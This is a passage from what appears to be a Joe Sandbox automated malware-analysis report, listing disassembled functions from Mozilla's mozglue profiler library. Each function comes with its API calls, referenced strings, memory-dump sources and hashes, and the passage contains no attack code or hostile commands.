AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C7E74D7,6C7F15FC,?,?,?), ref: 6C7E7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C7E74D7,6C7F15FC,?,?,?), ref: 6C7E7677

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 492ca0caa3a5a753a1b6297b916f3175685c351800e4c5f3faef68b1de961a96
Instruction ID: cbceac5bf819e7d85b1498f17a1a96028c33b1017e459808e55b2817b3cf1e30
Opcode Fuzzy Hash: 492ca0caa3a5a753a1b6297b916f3175685c351800e4c5f3faef68b1de961a96
Instruction Fuzzy Hash: BCF0C8B1E10746ABD7008F61C849675B7B8FFEA259F114326F90443B01E7B1A5D1C7D0

Function 6C7F1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C7F1800

Part of subcall function 6C7CCBE8: GetCurrentProcess.KERNEL32(?,6C7931A7), ref: 6C7CCBF1
Part of subcall function 6C7CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7931A7), ref: 6C7CCBFA

Part of subcall function 6C794290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C7D3EBD,6C7D3EBD,00000000), ref: 6C7942A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C7F18C7
name, xrefs: 6C7F1939
Details, xrefs: 6C7F1925

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: dd6c2a164a0e97fdb85873909403095c353d1e5278f5e7e34bb0a40354ac8eeb
Instruction ID: 2dba9dd66c50f5a5bd529b7d7c596754eead22e6f8ee047a8acc7e9c848c3d2c
Opcode Fuzzy Hash: dd6c2a164a0e97fdb85873909403095c353d1e5278f5e7e34bb0a40354ac8eeb
Instruction Fuzzy Hash: 4D71F3B0A003469FC714CF28D69869ABBF5FF45314F00466DE8295BF41D770A699CBE2

Function 6C7BD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C7CCBE8: GetCurrentProcess.KERNEL32(?,6C7931A7), ref: 6C7CCBF1
Part of subcall function 6C7CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7931A7), ref: 6C7CCBFA

EnterCriticalSection.KERNEL32(6C81E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7CD1C5), ref: 6C7BD4F2
LeaveCriticalSection.KERNEL32(6C81E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7CD1C5), ref: 6C7BD50B

Part of subcall function 6C79CFE0: EnterCriticalSection.KERNEL32(6C81E784), ref: 6C79CFF6
Part of subcall function 6C79CFE0: LeaveCriticalSection.KERNEL32(6C81E784), ref: 6C79D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7CD1C5), ref: 6C7BD52E
EnterCriticalSection.KERNEL32(6C81E7DC), ref: 6C7BD690
LeaveCriticalSection.KERNEL32(6C81E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7CD1C5), ref: 6C7BD751

Strings

MOZ_CRASH(), xrefs: 6C7BD4BB

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4172a1a7f04899009f53c06c00f7b0b2dfe1bbebaf6eaa669eb97c8a926200cf
Instruction ID: e6d45f0518abe40934da5869cb16db57201667baee964aa0e702349b22aec22a
Opcode Fuzzy Hash: 4172a1a7f04899009f53c06c00f7b0b2dfe1bbebaf6eaa669eb97c8a926200cf
Instruction Fuzzy Hash: A951D271A047028FD324CF28C29865AB7E1EB99318F54493ED599D7F89D770E804CB96

Function 6C7E4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C7E4721

Strings

profiler-paused, xrefs: 6C7E46E4
-%llu, xrefs: 6C7E4733
., xrefs: 6C7E476A

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: d33e0de9cb1b47ed894f7550fc0179d3adc6439e664cd262a13af33e06bcb3c3
Instruction ID: 03ca303fa73efbb2a4d6a444e269415f7b065b4e075fee889fa8c5732c78ce55
Opcode Fuzzy Hash: d33e0de9cb1b47ed894f7550fc0179d3adc6439e664cd262a13af33e06bcb3c3
Instruction Fuzzy Hash: 19415572B047089FCB08DFB9D95515EBBE5EB89348F10863EE855ABB41EB309804C782

Function 6C7E46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C7E4721

Part of subcall function 6C794410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C7D3EBD,00000017,?,00000000,?,6C7D3EBD,?,?,6C7942D2), ref: 6C794444

Strings

profiler-paused, xrefs: 6C7E46E4
-%llu, xrefs: 6C7E4733
., xrefs: 6C7E476A

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 0e74658b4294650cfa907cd632e7fc57c2e4d7717849f9a6009f74464c4e08b4
Instruction ID: b3041774029fcb3e34a1391a06a094d5ba7498538d6b66e1ad64f03e06a54ed0
Opcode Fuzzy Hash: 0e74658b4294650cfa907cd632e7fc57c2e4d7717849f9a6009f74464c4e08b4
Instruction Fuzzy Hash: C5312672F042085FCB08CFBDD99529EBBE6EB9C314F55853EE8059BB41EB7498048B90

Function 6C7EB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C794290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C7D3EBD,6C7D3EBD,00000000), ref: 6C7942A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C7EB127), ref: 6C7EB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7EB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C7EB4E4

Strings

pid:, xrefs: 6C7EB4DE

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 4deb10f1301564a8f6a9b2f0465ae6ce20997a13df271e498653e5fc0691463e
Instruction ID: 8fd9c7dba853e38234dffe0cd5668c6d5d207338b58cbdc3dab8550f86c86c5c
Opcode Fuzzy Hash: 4deb10f1301564a8f6a9b2f0465ae6ce20997a13df271e498653e5fc0691463e
Instruction Fuzzy Hash: BB310732A013099FDB10DFA9DA84AEEBBB5FF4A318F540539D82167A41D731B845CBE1

Function 6C7DE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7DE577
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DE584
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C7DE8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C7DE826, 6C7DE850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C7DE722, 6C7DE750, 6C7DE7A2
MOZ_PROFILER_STARTUP, xrefs: 6C7DE5A1, 6C7DE5CC, 6C7DE5FF, 6C7DE62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C7DE655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C7DE777

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: a42287ca0669e621cd50f7b6aab9e0d396a12c9d7ff4bd576b5f4de5cef2b3e6
Instruction ID: 79eed07f5852e77e088b31a83fd09284bf8874da018f313ac2d238dd0f396eba
Opcode Fuzzy Hash: a42287ca0669e621cd50f7b6aab9e0d396a12c9d7ff4bd576b5f4de5cef2b3e6
Instruction Fuzzy Hash: A711E13160425ADFCB20DF16C94AA6AFBF4FB9936CF410A28E84647F40C770A804CBD1

Function 6C7E0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C7E0CD5

Part of subcall function 6C7CF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C7CF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C7E0D40
free.MOZGLUE ref: 6C7E0DCB

Part of subcall function 6C7B5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C7B5EDB
Part of subcall function 6C7B5E90: memset.VCRUNTIME140(6C7F7765,000000E5,55CCCCCC), ref: 6C7B5F27
Part of subcall function 6C7B5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C7B5FB2

free.MOZGLUE ref: 6C7E0DDD
free.MOZGLUE ref: 6C7E0DF2

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 21fcdf366bc2b6ebfc95b11c9ff5bff236859424bc7c5b8dbf826a3d68b42a14
Instruction ID: f5a1b5834b4901808d1c18c4f792e04793c58c8d0d35a9fb601ba65c93ad2b41
Opcode Fuzzy Hash: 21fcdf366bc2b6ebfc95b11c9ff5bff236859424bc7c5b8dbf826a3d68b42a14
Instruction Fuzzy Hash: 61414C71A087808BD320CF29C68179EFBE5BFC9754F518A2EE8D887711DB70A445CB82

Function 6C7ECCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C7DDA31,00100000,?,?,00000000,?), ref: 6C7ECDA4

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

Part of subcall function 6C7ED130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C7ECDBA,00100000,?,00000000,?,6C7DDA31,00100000,?,?,00000000,?), ref: 6C7ED158
Part of subcall function 6C7ED130: InitializeConditionVariable.KERNEL32(00000098,?,6C7ECDBA,00100000,?,00000000,?,6C7DDA31,00100000,?,?,00000000,?), ref: 6C7ED177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C7DDA31,00100000,?,?,00000000,?), ref: 6C7ECDC4

Part of subcall function 6C7E7480: ReleaseSRWLockExclusive.KERNEL32(?,6C7F15FC,?,?,?,?,6C7F15FC,?), ref: 6C7E74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C7DDA31,00100000,?,?,00000000,?), ref: 6C7ECECC

Part of subcall function 6C7ACA10: mozalloc_abort.MOZGLUE(?), ref: 6C7ACAA2

Part of subcall function 6C7DCB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C7ECEEA,?,?,?,?,00000000,?,6C7DDA31,00100000,?,?,00000000), ref: 6C7DCB57
Part of subcall function 6C7DCB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C7DCBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C7ECEEA,?,?), ref: 6C7DCBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C7DDA31,00100000,?,?,00000000,?), ref: 6C7ED058

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 878f331c94cc6cfe26f6a7dae195a0eb2bc7263b7cf565deaa79994b3acec886
Instruction ID: ab89e100123472adada6793740c5994819ecb81997eb182e78fd5a7ebb2ee305
Opcode Fuzzy Hash: 878f331c94cc6cfe26f6a7dae195a0eb2bc7263b7cf565deaa79994b3acec886
Instruction Fuzzy Hash: FBD17176A04B069FD708CF28C580B99F7E1BF99308F05862DD8598B752EB31E955CBC1

Function 6C7A1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C7A17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C7A18EE
free.MOZGLUE(?), ref: 6C7A1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7A194C

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 52fddec07e8782d8b0c86baff3d6f4784655e7482d74b59000cd93ce6447e08a
Instruction ID: 9b0210907a4ae44b179f9a5b54262a6f2619754cf4cc5761ae33e960d077b495
Opcode Fuzzy Hash: 52fddec07e8782d8b0c86baff3d6f4784655e7482d74b59000cd93ce6447e08a
Instruction Fuzzy Hash: 5B81C470A11305DFEB08CFA8D9949AEBBB1FF89314F04462CE815AB755D730E845CBA2

Function 6C7B5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C7B5D40
EnterCriticalSection.KERNEL32(6C81F688), ref: 6C7B5D67
__aulldiv.LIBCMT ref: 6C7B5DB4
LeaveCriticalSection.KERNEL32(6C81F688), ref: 6C7B5DED

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: d36a448bffb01140e8ca68bea5a8a6b9e9d423f0201b2a1411a8a401a2c6fba7
Instruction ID: 1d64ec5c442db8ccfb94e7a17715be4793389f8c1a8222934fe2ab0414f457a8
Opcode Fuzzy Hash: d36a448bffb01140e8ca68bea5a8a6b9e9d423f0201b2a1411a8a401a2c6fba7
Instruction Fuzzy Hash: 92516C71E0021A8FCF18CF68C996AAEBBB1BB95308F194629D815B7B51C7706D45CBD0

Function 6C79CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C79CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C79CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C79CF4E

Strings

0, xrefs: 6C79CF30

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 51ad183619de2bf521569a3f5e0149bde4841601fcb6327daa62fcfe90911a31
Instruction ID: 9c05de48745d7a43cc84d82055589a09fc164d8ffaaa2857fe575a50be5c1156
Opcode Fuzzy Hash: 51ad183619de2bf521569a3f5e0149bde4841601fcb6327daa62fcfe90911a31
Instruction Fuzzy Hash: EF511276A002568FCB00CF18D890AAABBB5FF99304F19859DD85A5F752D731ED06CBE0

Function 6C7F77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7F77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C7F7829

Part of subcall function 6C7CCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C7931A7), ref: 6C7CCC45
Part of subcall function 6C7CCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C7931A7), ref: 6C7CCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C7F789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C7F78CF

Part of subcall function 6C794DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C794E5A
Part of subcall function 6C794DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C794E97

Part of subcall function 6C794290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C7D3EBD,6C7D3EBD,00000000), ref: 6C7942A9

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: e39e1acb42ed8b597624d7b98d7978b6fc019dd784fafbc0199ab86db1207c70
Instruction ID: a73b8059b1d24efd94435f10ca7bdf0b081ed93bccde32d6a0ac733f8bce7fa5
Opcode Fuzzy Hash: e39e1acb42ed8b597624d7b98d7978b6fc019dd784fafbc0199ab86db1207c70
Instruction Fuzzy Hash: 2141BE719047468FD300DF29C48456AFBF4FF8A258F204A2DE4A987741DB30E55ACBD2

Function 6C7D6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C7D82BC,?,?), ref: 6C7D649B

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7D64A9

Part of subcall function 6C7CFA80: GetCurrentThreadId.KERNEL32 ref: 6C7CFA8D
Part of subcall function 6C7CFA80: AcquireSRWLockExclusive.KERNEL32(6C81F448), ref: 6C7CFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7D653F
free.MOZGLUE(?), ref: 6C7D655A

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: fb5ca3138d8d319692306e90a186a88bff8601bcdb402993d197eaf1826d1d0b
Instruction ID: aea66cd02b2e95b7788b1acf9bab297d1f21fd080245c2454d02a61cc273da3f
Opcode Fuzzy Hash: fb5ca3138d8d319692306e90a186a88bff8601bcdb402993d197eaf1826d1d0b
Instruction Fuzzy Hash: CE3181B5A043059FD700CF14D988A9ABBE4FF89314F10482DE85A97741D734FA19CBD2

Function 6C7CFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C7ED019,?,?,?,?,?,00000000,?,6C7DDA31,00100000,?), ref: 6C7CFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C7ED019,?,?,?,?,?,00000000,?,6C7DDA31,00100000,?,?), ref: 6C7CFFF5
free.MOZGLUE(?,?,?,?,?,6C7ED019,?,?,?,?,?,00000000,?,6C7DDA31,00100000,?), ref: 6C7D001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C7ED019,?,?,?,?,?,00000000,?,6C7DDA31,00100000,?,?), ref: 6C7D002A

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

